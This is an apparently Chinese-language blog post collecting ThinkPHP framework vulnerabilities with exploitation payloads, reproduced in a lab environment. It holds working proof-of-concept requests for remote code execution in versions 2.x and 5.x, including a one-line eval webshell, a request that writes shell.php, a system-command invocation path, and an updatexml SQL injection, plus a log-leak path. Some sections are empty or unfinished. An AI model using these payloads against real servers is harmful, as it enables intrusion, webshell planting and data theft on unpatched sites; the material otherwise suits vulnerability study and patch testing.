ThinkPHP漏洞总结(利用)

ThinkPHP介绍

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

漏洞复现

1、ThinkPHP2.x远程代码执行漏洞

ThinkPHP ThinkPHP 2.x版本中,preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致输入参数被插入双引号中当做代码函数执行,因此造成任意代码执行漏洞。
在ThinkPHP3.0的版本中也没有修复此问题。

docker拉一下vulfocus的thinkphp2环境,好用又方便
ThinkPHP漏洞总结(利用)_第1张图片
POC尝试一波~~

/index.php?s=/index/index/aaa/${@phpinfo()}

ThinkPHP漏洞总结(利用)_第2张图片
进一步利用上传连一下马
POC

/index.php?s=/index/index/aaa/${${@eval($_POST[pass])}}

ThinkPHP漏洞总结(利用)_第3张图片

影响范围

ThinkPHP2.x

2、ThinkPHP3.2.3 SQL注入漏洞

3、ThinkPHP3日志泄露

直接访问日志目录,可以看到泄露的日志thinkphp日志文件。

/Application/Runtime/Logs/Home/21_04_20.log

ThinkPHP漏洞总结(利用)_第4张图片

影响范围

ThinkPHP3.1-3.2

4、ThinkPHP5.0.23远程代码执行漏洞

在ThinkPHP5.0.23以前版本中,获取的method的方法中没有准确的处理方法名,因此可以调用request方法构造利用点。

抓包修改请求方式POST,POC利用,写入shell.php
POC

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

写入shell.php
在这里插入图片描述
在这里插入图片描述
蚁剑连一波
ThinkPHP漏洞总结(利用)_第5张图片

影响范围

低于ThinkPHP5.0.23版本

5、ThinkPHP5.0.21远程命令执行漏洞

Thinkphp5.x 版本中没有对路由中的控制器进行严格过滤,没有开启强制路由的情况下可以执行系统命令。

漏洞利用路径poc

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=命令参数

ThinkPHP漏洞总结(利用)_第6张图片
ThinkPHP漏洞总结(利用)_第7张图片

影响范围

5.x < 5.1.31, <= 5.0.23

6、ThinkPHP5.1.X SQL注入漏洞

在ThinkPHP5.1.23之前的版本中存在SQL注入漏洞,该漏洞是由于程序在处理order by 后的参数时,未正确过滤处理数组的key值所造成。如果该参数用户可控,且当传递的数据为数组时,会导致漏洞的产生。

POC地址

index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1`

在这里插入图片描述

影响范围

ThinkPHP 5.1.X

6、ThinkPHP6 SQL注入漏洞

该漏洞可控制写入文件名与路径,在特定条件下可控制内容,远程执行命令。

因为在thinkphp6下session是默认关闭的,在这里是需要我们手动开启的,在app/middleware.php文件下。

ThinkPHP漏洞总结(利用)_第8张图片
修改app
构造poc
ThinkPHP漏洞总结(利用)_第9张图片
最后这里不知道是哪里出了问题创建不了,session也开了,有哪位大佬帮忙指点一下。
下一章节thinkphp漏洞分析

你可能感兴趣的:(web漏洞分析)